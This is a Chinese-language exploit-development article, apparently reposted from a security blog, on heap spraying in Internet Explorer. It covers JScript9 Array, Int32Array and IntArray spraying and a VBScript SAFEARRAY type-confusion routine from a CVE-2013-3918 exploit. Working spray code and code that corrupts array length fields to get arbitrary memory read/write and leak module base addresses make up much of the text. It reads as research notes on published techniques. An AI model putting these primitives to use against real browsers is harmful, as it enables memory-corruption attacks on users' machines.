IE Array Object Heap Spraying


Array Object Heap Spraying

Jscript9中的Array對象是一個很有意思的東西,由於數組的便利性,我們可以用數組來做很多事情,比如修改數組長度來實現任意地址的讀寫、利用Array的vftable進行信息泄露等等。在CanSecWest 2014上ga1ois的講題《The Art of Leaks – The Return of Heap Feng Shui》中提到了由於jscript9引擎中ArrayData的對齊問題,可以通過構造特定的Array來造成信息泄露。與IE9之前的jscript相比較而言,在jscript9中,一些對象不再由進程默認堆進行管理,而是由jscript9自己構造的Bucket Heap進行管理,其主要分配在IE的Custom Heap上,而Custom Heap這個堆上的對象管理機制更有利於進行Heap Spraying。另外,除了jscript9中的Array對象之外,vbscript中的Array也可以用來做很多事情,yuange在他的xp擂台賽版本中給出了完整的dve利用代碼,讓人深刻的體會到exploit的藝術。接下來,對這兩個方面進行分別介紹。

1.       Jscript9Array Object Heap Spraying

首先,我們來分析jscript9中的Array Object Heap Spraying方法。對於jscript9而言,在不同的版本中(IE9-IE11)其內部的具體實現有着很大的不同,這里我們只討論Array對象的處理部分,不具體討論起處理細節(主要還沒研究透徹-.-)。

Array & Int32Array

在《The Art of Leaks – The Return of Heap Feng Shui》一文中,其針對的主要是IE10和IE11這兩版本,主要利用Array和Int32Array相結合的方式來進行Heap Spraying以及信息泄、任意地址讀寫等功能。

上面提到,在jscript9中ArrayData存在着對齊問題,而一些重要的對象都在IE的Custom Heap上進行管理,比如string對象、Array對象和typed array對象等。那么為什么在jscript9中存在着這些問題,而jscript中沒有呢?主要由以下幾點解決了jscript中對齊問題。

  • 所有的對象都在進程堆上進行操作,並且在每次分配的時候都進行了隨機化處理
  • 一些大的對齊了的數據被切割成小塊(0x204、02404、0x804、0x1004、0x2004、0x4004等),並且由ArrayDataList進行串接,同時,這些數據也是在進程堆上進行分配的。
  • 當多次分配相同大小的大內存塊時,進程堆會插入隨機大小的內存塊,從而避免大的對齊堆塊內存地址的線性增長問題。

而jscript9中之所以出現這種內存塊地址對齊問題,主要是由於IE的custom heap上其ArrayData對象的內存分配並不是隨機的,而是線性增長的,下面我們來具體分析一下其原因。下圖是ArrayData內存分配時的棧回溯信息。

1:017> kc

 #

kernel32!VirtualAlloc

jscript9!Segment::Initialize

jscript9!PageAllocator::AllocPageSegment

jscript9!PageAllocator::AddPageSegment

jscript9!PageAllocator::SnailAllocPages

jscript9!PageAllocator::AllocPages

jscript9!PageAllocator::Alloc

jscript9!LargeHeapBucket::AddLargeHeapBlock

jscript9!Recycler::TryLargeAlloc

jscript9!Recycler::LargeAlloc

jscript9!Js::SparseArraySegment<void *>::Allocate

jscript9!Js::SparseArraySegment<void *>::AllocateSegment

jscript9!Js::JavascriptArray::AllocateHead<void *>

jscript9!Js::JavascriptArray::DirectSetItem_Full<void *>

jscript9!Js::JavascriptOperators::OP_SetElementI

jscript9!Js::JavascriptOperators::OP_SetElementI_Int32


我們進一步來分析jscript9!Segment::Initialize函數,其反匯編代碼如下所示。
 

 1 bool __thiscall Segment::Initialize(Segment *this, unsigned __int32 a2)
 2 {
 3     Segment *PageSegment; // esi@1
 4     LPVOID v3; // eax@2
 5     bool result; // al@5
 6 
 7     PageSegment = this;
 8     if ( PageAllocator::RequestAlloc(*((PageAllocator **)this + 5), *((_DWORD *)this + 3) << 12) )
 9     {
10         v3 = VirtualAlloc(0, *((_DWORD *)PageSegment + 3) << 12, a2 | 0x2000, 4u);
11         *((_DWORD *)PageSegment + 2) = v3;
12         if ( v3
13       && !(unsigned __int8)(*(int (__stdcall **)(Segment *, char *))(**((_DWORD **)PageSegment + 5) + 4))(
14                              PageSegment,
15                              (char *)PageSegment + 4) )
16         {
17             VirtualFree(*((LPVOID *)PageSegment + 2), 0, 0x8000u);
18             *((_DWORD *)PageSegment + 2) = 0;
19         }
20     if ( !*((_DWORD *)PageSegment + 2) )
21         PageAllocator::ReportFailure(*((PageAllocator **)PageSegment + 5), *((_DWORD *)PageSegment + 3) << 12);
22     result = *((_DWORD *)PageSegment + 2) != 0;
23     }
24     else
25     {
26     result = 0;
27     }
28     return result;
29 }

 在上述代碼中,我們可以看到其分配的大小為*((_DWORD *)PageSegment+3)<<12=0x20<<12=0x20000,在這里我們發現ArrayData由VirtualAlloc申請的內存並沒有經過隨機化處理,其地址是線性增長的,並且該地址直接由PageSegment結構保存,這樣我們可以有效的利用這里特性來進行Heap Spraying。由此,我們可以使用以下代碼進行Heap Spraying。

 1 var int32buf = 0x4;
 2 while(k < 0x400) //80M 
 3 { 
 4     heaparr[k] = new Array(0x3bf8); 
 5     for(var index = 0; index < 0x55; index++) 
 6     { 
 7         heaparr[k][index] = new Int32Array(int32buf); 
 8     } 
 9     k += 1; 
10 }

Array對象其結構如下所示。

 1 Struct Array_Head
 2 {
 3     void *p_vftable;
 4     DOWRD var_2;
 5     DOWRD var_3;
 6     DOWRD var_4;
 7     DOWRD size;              //item size
 8     void *pArrayData; //buffer address
 9    void *pArrayData;  //buffer address
10    DWORD var_8;
11 }

 

ArrayData對象的結構如下所示。

1 Struct ArrayData
2 {
3     DWORD var_1;
4     DOWRD size;            //item size
5     DOWRD size;            //buffer size
6     DWORD var_4;
7     DWORD data[size];     //data
8 }

Int32Array對象的結構如下所示。

 1 Struct Int32Array
 2 {
 3     void* pvftable;
 4     DOWRD var_2;
 5     DOWRD var_3;
 6     DOWRD var_4;
 7     DOWRD var_5;
 8     DOWRD var_6;
 9     DOWRD size;            //array size
10     void* pInt32ArrayData;     //Int32Arraydata
11     void* pArrayBuffer;   //Arraybuffer
12     DWORD var_10;
13     DWORD var_11;
14     DWORD var_12;
15 }

ArrayBuffer對象結構如下所示。

 1 Struct ArrayBuffer
 2 {
 3     void* pvftable;
 4     DOWRD var_2;
 5     DOWRD var_3;
 6     DOWRD var_4;
 7     void* pTypeArrayData;     //TypeArraydata
 8     DWORD size;                 //array bytes
 9     DWORD var_10;
10     DWORD var_11;
11 }

這樣我們就可以利用Array和Int32Array來構造0x10000字節的數據來進行Heap Spraying,從而構造出如下的內存布局,進行信息泄露以及任意內存讀寫。

 

對於上述代碼中,位於0xyyyyf000處的Int32Array對象如下所示。

 

這里,我們只需要修改Int32Array的size,就可以實現任意地址讀寫的功能,如下圖所示。

 

在實際的調試過程中,會發現Int32Array中的ArrayBffer域是一個js::javascriptarrayBuffer的對象,其大小為0x20,也是在Custom Heap上進行內存分配,這樣就造成了我們在Heap Spraying的時候有三個對象在Custom Heap上進行內存分配,這時有可能讓我們所構造的0x10000內存布局被破壞,如下圖所示。

 

通過進一步分析,發現Int32Array對象分配的內存和ArrayBuffer對象分配的內存在兩個獨立的page上,這樣我們就可以進一步構造數據,縮小Array的size,使其減少0x1000字節也就是一頁,同時我們用額外的ArrayBuffer來填充這一頁,這樣我們就可以構造出Array+ArrayBuffer+Int32Array的0x10000字節的數據來布局內存,如下圖所示。

 

當然,在實際的應用中,其內存布局也有可能如下,這需要根據具體的環境來進行調整。

 

其代碼如下圖所示。

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 var a = new Array();
 7 for (var k=0;k<0x400;k++)
 8 {
 9     a[k] = new Array(0x37f8);
10     for (var i = 0; i< 0x55;i++)
11     {
12         a[k][i] = new Int32Array(0x4);
13     }
14     for(;i<0x55+0x2b;i++)
15     {
16         a[k][i]=new ArrayBuffer();
17     }
18     for(;i<0x37f8;i++)
19     {
20         a[k][i] = i;
21     }
22 }
23 alert('11');
24 </script>
25 </body>
26 </html>

這里提供的只是一種思路,當然還有其他方法來提高噴射的效率和成功率,對於多個對象的噴射可以有多種方法去解決這一問題,這里不再詳述。當然,這種方法也並非一定要局限在ArrayData的對齊問題上來進行信息泄露,我們也可以直接利用Array或者Int32Array來進行Heap Spraying,只要方法得當,都是可行的。

 

補充,昨天和ga1ois交流之后,才知道他是如何進行Int32Array對象的控制的,感覺甚是巧妙。對於多個對象的噴射,我們需要做的是盡可能減少干擾對象的大小,保證每個block里存儲的對象的一致性,這樣才能夠更好的控制內存布局。其具體做法是,讓所有的Int32Array指向同一塊ArrayBuffer和ArrayData,這樣就去除了Int32Array申請時ArrayBuffer所帶來的干擾,代碼如下。

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 var x = new Array();
 7 var int32buffer = new ArrayBuffer(0x58);
 8 for(var i=0;i<0x400;i++)
 9 {
10     x[i] = new Array(0x3bf8);
11     for(var j=0;j<0x55;j++)
12     {
13         x[i][j] = new Int32Array(int32buffer);
14     }
15 }
16 alert('1');
17 </script>
18 </body>
19 </html>

通過這種方法,在測試的時候會發現其所有Int32Array中的ArrayBuffer和ArrayData是指向同一內存塊的,如下圖所示。

 

這樣Array對象進行內存申請的時候,基本上都能夠分配到0xyyyy0000地址處的0xf000字節內存塊,而Int32Array對象則會分配到0xyyyyf000處。

IntArray

在Hitcon 2014上exp-sky提出了IntArray Heap Spraying的方法,這種方法相對於ga1ois提出的方法而言,其噴射的效率更高,並且更容易控制。下面我們來看一下這個IntArray Heap Spraying的方法,這里主要針對IE11下進行分析(IE10下略有區別)。

在上文中,講到了jscript9中處理Array的時候存在對齊,這里我們可以利用這種方式進行噴射,其代碼如下所示。

 1 <html>
 2 <head>
 3 </head>
 4 <body>
 5 <script>
 6 var x = new Array();
 7 for(var i=0;i<0x200;i++)
 8 {
 9     x[i] = new Array(0x3bf8);
10     for(var j=0;j<0x20;j++)
11     {
12         x[i][j] = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);
13     }
14 }
15 alert("123");
16 </script>
17 </body>
18 </html>

這樣,我們可以看到Array Data的數據被噴射到0xyyyy0010處,如下圖所示,其0xyyyy0000處的0x10字節主要用來對齊,其偏移0x4的數據表示Array對象Data部分所占的大小,這在前文中已經介紹過,這里不再贅述。

05850020 62b937c4 03255960 00000000 00000005

05850030 00003bf8 05860010 05860010 00000000

05850040 62b937c4 03255960 00000000 00000005

05850050 00003bf8 05870010 05870010 00000000

05850060 62b937c4 03255960 00000000 00000005

05850070 00003bf8 05880010 05880010 00000000

05850080 62b937c4 03255960 00000000 00000005

05850090 00003bf8 05890010 05890010 00000000

058500a0 62b937c4 03255960 00000000 00000005

058500b0 00003bf8 058a0010 058a0010 00000000

058500c0 62b937c4 03255960 00000000 00000005

058500d0 00003bf8 058b0010 058b0010 00000000

而在0xyyyyf000地址處接下來的0x1000字節主要用來存取IntArray對象,在這里我們可以看到0xyyyyf000處的被IntArray對象占據,如下圖所示。

0586f000 62b92f54 03255920 00000000 00000005

0586f010 00000010 0586f028 0586f028 00000000

0586f020 00000002 03510940 00000000 00000010

0586f030 00000010 00000000 00000001 00000002

0586f040 00000003 00000004 00000005 00000006

0586f050 00000007 00000008 00000009 0000000a

0586f060 0000000b 0000000c 0000000d 0000000e

0586f070 0000000f 00000010 00000000 00000000

//

1:017> u 62b92f54

jscript9!Js::JavascriptNativeIntArray::`vftable':

下面,我們來看一下IntArray的一些結構信息和ArrayBuffer的一些結構信息。

 1 Struct Array_Head
 2 {
 3     void *p_vftable;
 4     DOWRD var_2;
 5     DOWRD var_3;
 6     DOWRD var_4;
 7     DOWRD size;              //item size
 8     DOWRD p_first_buffer; //buffer address
 9     DOWRD p_last_buffer;  //buffer address
10     DOWRD var_8;
11     DOWRD var_9;
12     DOWRD var_10;
13 }
14 
15 Struct ArrayBuffer
16 {
17     DWORD var_11;
18     DWORD size;                  //item size
19     DWORD buffer_size;         //buffer size
20     DWORD next_buffer;         //next buffer
21     DWORD data[buffer_size]; //data
22 }

具體信息如下圖所示。

 

這樣,在0xyyyyf000處保存着IntArray對象的pvftable,我們就可以以此來進行信息泄露。有了這個信息,我們還需要一個任意地址讀寫(Arbitrary Address Write/Read)來輔助我們的操作,而之前也說過,選用數組來進行操作,其好處就在於能夠有效的實現任意地址讀寫功能。而要利用UAF漏洞實現這一功能,最關鍵的一步在於控制程序的流程,使其最終會走到如下的指令上:

inc [address]

OR

mov/add/or [address], reg/constant

這樣的話,就可以對IntArray中的size進行操作,從而來擴大IntArray的訪問范圍。在0xyyyy0000處的接下來0x10000字節的布局如下圖所示。

 

這樣,我們可以操作0xyyyyf000處的IntArray的size區域,讓其讀的范圍增大,如下圖所示。

 

這樣操作之后,就能夠實現任意地址寫(其實並不是任意地址寫,而是相對於Array[0]地址之后的任意地址寫操作,也即0x586f028之后的任意地址寫操作),有了任意地址寫之后,我們還需要能夠進行讀操作,來進行信息泄露。這里exp-sky給出了其方法,通過0xyyyyf000處的IntArray任意地址的寫操作,我們可以修改相鄰的0xyyyyf080地址處IntArray的Size,從而實現任意地址讀寫的功能,如下圖所示。

 

具體操作如下代碼所示:

 1 var flag = 1;
 2 for(var i=0;i<0x200 & flag;i++)
 3 {
 4     for(var j=0;j<0x1f;j++)
 5     {
 6         x[i][j][22] = 0x20000000;
 7         x[i][j][29] = 0x20000000;
 8         x[i][j][30] = 0x20000000;
 9         if(x[i][j+1].length = 0x20000000)
10         {
11             flag = 0;
12             var pvftable = x[i][j+1][18];
13             var jscript9_base_address = calcbaseaddress(pvftable);
14         }
15     }
16 }

操作后,內存如下所示。

 

這樣,我們就能夠獲得jscript9的基地址以及ntdll的基地址。此外,我們還可以進一步定位shellcode,這里不再贅述。另外,我們也可以直接利用IntArray進行噴射,具體代碼如下。

 1 var x = new Array();
 2 var size = 0x1000*0x100;
 3 for (var i = 0; i<size;i++)
 4 {
 5     x[i] = new Array(1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16);
 6 }
 7 for(var j=size-2;j>=0;j--)
 8 {
 9     x[j][22] = 0x20000000;
10     x[j][29] = 0x20000000;
11     x[j][30] = 0x20000000;
12     if([j+1].length = 0x20000000)
13     {
14         var pvftable = x[j+1][18];
15         var jscript9_base_address = calcbaseaddress(pvftable);
16     }
17 }

目前,jscript9中的Array Heap Spraying方法主要就是這些,下面我們再來分析一下vbscript下的Array Heap Spraying的方法,主要基於yuange的xp擂台賽dve版本exploit進行分析。

2.       VBScript中的Array Object Heap Spraying

在yuange的xp擂台賽cve-2013-3918的dve版本中,也是利用了Array對象來進行Heap Spraying,不過這種方法更為巧妙,這里我們只分析Array部分的操作。

在vbscript中,其數據都由一個統一的結構tagVARIANT來進行處理,下圖只列出具體一部分,具體結構信息可查閱MSDN。

 1 struct __tagVARIANT{
 2 VARTYPE vt;
 3 WORD wReserved1;
 4 WORD wReserved2;
 5 WORD wReserved3;
 6 Union
 7 {
 8     LONGLONG IIVal;
 9     LONG IVal;
10     BYTE bVal;
11     SHORT iVal;
12         ……
13         SAFEARRAY *parray;
14         ……
15 } tagVARIANT;
16 
17 Typedef unsigned short VARTYPE;

其中一些重要的VARTYPE類型如下所示。

 1 enum VARENUM{
 2     VT_EMPTY = 0,
 3     VT_NULL = 1,
 4     VT_I2 = 2,
 5     VT_I4 = 3,
 6     VT_R4 = 4,
 7     VT_R8 = 5,
 8     VT_BSTR = 8,
 9     VT_VARIANT = 12,
10     ……
11     VT_VECTOR = 0x1000,
12     VT_ARRAY = 0x2000,
13     VT_BYREF = 0x4000,
14 };

另外,還有一個重要的結構SAFEARRAY,這個結構在很多場合都會用到,如下所示。

 1 typedef struct tagSAFEARRAY {
 2     USHORT cDims;   // The number of dimensions
 3     USHORT fFeatures; //flags
 4     ULONG cbElements; //The size of an array element.
 5     ULONG cLocks;
 6     PVOID pvData; //the data
 7     SAFEARRAYBOUND rgsabound[1]; //one bound for each dimension
 8 } SAFEARRAY;
 9 
10 const USHORT FADF_HAVEVARTYPE = 0x0080; /* array has a VT type */
11 const USHORT FADF_VARIANT = 0x0800; /* an array of VARIANTs */
12 
13 typedef struct tagSAFEARRAYBOUND {
14     ULONG cElements; //the number of elements in the dimension
15     LONG lLbound; //the lower bound of the dimension
16 } SAFEARRAYBOUND;

上面列出了vbscript中對variant變量的處理的一些重要的結構信息,具體含義這里不再詳述,可以查閱MSDN。下面我們分析yuange的dve代碼array heap spraying的部分。具體代碼如下。

 1 dim a(300)
 2 dim num
 3 num = 200
 4 function Begin()
 5     On Error Resume Next
 6     dim i
 7     myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
 8     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
 9    mystr=chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
10     
11     For i=0 to num
12         a(i)= Array(0.0,0.0,myarray,0.0,9.52510864539202e-307) 
13 Next  
14 
15     For i=num-50 to num-10
16         a(i)=0
17 Next  
18 
19     For i=0 to 11
20         Req.add(CStr(i))
21 Next
22 
23     For i=num-50 to num+99
24         a(i)= Array(0.0,0.0,myarray,0.0,9.52510864539202e-307) 
25     Next  
26     
27     For i=Req.length to 0 step -1
28         Req.remove(CLng(i))
29     Next
30 
31     For i=-1  to -1000 step  -1  
32         Req.remove(CLng(i))
33         For j=num+99 to  0  step -1
34             if ( a(j)(4) <1.0e-307) Then 
35                 Req.add("a")
36                 Req.add("b")
37                 a(j)(4)=mystr 
38                 Req.remove(CLng(i-18)) 
39                 Req.remove(CLng(i-18))
40                 Req.add("c")
41                 Req.add("d")
42         
43                 a(j)(0)=0.0 
44                 a(j)(1)=1.74088534731324E-310 //0000200c`0000200c
45                 a(j)(3)=6.36598737437801E-314 //00000003`00000003
46         
47                 Req.remove(CLng(i-18))
48                 Req.remove(CLng(i-18))
49         
50                 add=a(j)(3)+16
51         
52         i=-1000
53         exit for 
54             End if
55         Next
56     Next 
57     
58     For i=Req.length to 0 
59         Req.add(Cstr(i))
60     Next
61 end function

首先,這里利用myarray字符串偽造成一個safearray對象,讓其能夠實現任意地址讀寫的功能,其內存數據如下所示。

 

但此時,myarray是一個字符串,如下圖所示。

 

因此,要想實現任意地址讀寫的功能,將BSTR轉換成SAFEARRAY對象來使用的話,首先必須要將這個字符串的標志位改成array & variant屬性即0x200c,這樣我們才能夠實現這一功能。在此,yuange使用new array方法來進行heap spraying,並且調用CCardSpaceClaimCollection::Add來創建一個array對象,該array對象數據區初始大小為0x28,當數組大小超過目前大小時,它會進行擴充操作,使其內存大小翻一倍,即0x50字節,這樣與new array時創建的數據區大小一致,從而讓該段數據能夠分配在new array數據區中間,這樣便可以利用漏洞下溢的特性進行進一步操作。在利用new array來進行heap spraying的時候,利用浮點數9.52510864539202e-307來做簽名標記,這樣在漏洞利用的時候,可以定位數組的index,從而實現任意地址讀寫的功能。另外,這個浮點數也是yuange的簽名,如下所示。

 

此后,在調用CCardSpaceClaimCollection::Remove函數時,其已經擴大的數據區進步會減少,而刪掉其中的某一數據為0的元素后,后面的元素會自動向前填充。同時,這里由於存在下溢的漏洞,這里就可以進行移位操作。這里在remove(-3)之后,array對象的內存如下所示。

 

可以看到,0x029930ac地址處的0x0065676e數據已經被清0,之后,調用a(j)(4) <1.0e-307進行判斷,從而確定被修改數組的index值。之后調用add將數據補齊,同時將mystr用來作為數據緩沖區,方便之后操作,如下圖所示。

 

之后的兩次remove進行錯位操作,兩次add進行填充操作,如下圖所示。

 

之后,對數組元素進行重新賦值,方便之后的再錯位操作,賦值之后內存數據如下所示。

 

這樣,再調用兩次remove操作之后,會將0x200c移動到標志位,如下圖所示。

 

此時,原先的字符串myarray其屬性已經轉變成SAFEARRAY對象,可以利用myarray來進行任意地址讀寫操作,這里不再贅述。

 

總結,利用Array進行Heap Spraying其優勢在於對於數組更易於控制,同時其修改的內容關鍵在於數組的大小和數組的屬性。本質上來說,屬性的修改是為了達到混淆對象的目的,其最終目的還是為了實現任意地址讀寫的功能。當然,除此以外,對於數組屬性的修改也會更好地方便shellcode的調用等等。

 

引用

  1. 《The Art of Leaks — The Return of Heap Feng Shui》
  2. http://www.exp-sky.org/windows-81-ie-11-exploit.html
  3. http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/ A browser is only as strong as its weakest byte
  4. http://blog.exodusintel.com/2013/11/26/browser-weakest-byte/ A browser is only as strong as its weakest byte – Part 2
  5. http://hi.baidu.com/yuange1975/item/c667f900cf0e2fc02e4c6bed xp dve exploit
  6. http://hi.baidu.com/xiyanggif/item/a386a123e1e6de92b73263ca
  7. http://hi.baidu.com/xiyanggif/item/cf6b147a860d4721d6a89c4c
  8. 《APT高級漏洞利用技術》
  9. http://msdn.microsoft.com/en-us/library/ms221482(v=vs.85).aspx SAFEARRAY
  10. http://msdn.microsoft.com/en-us/library/windows/desktop/ms221627(v=vs.85).aspx VARIANT


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM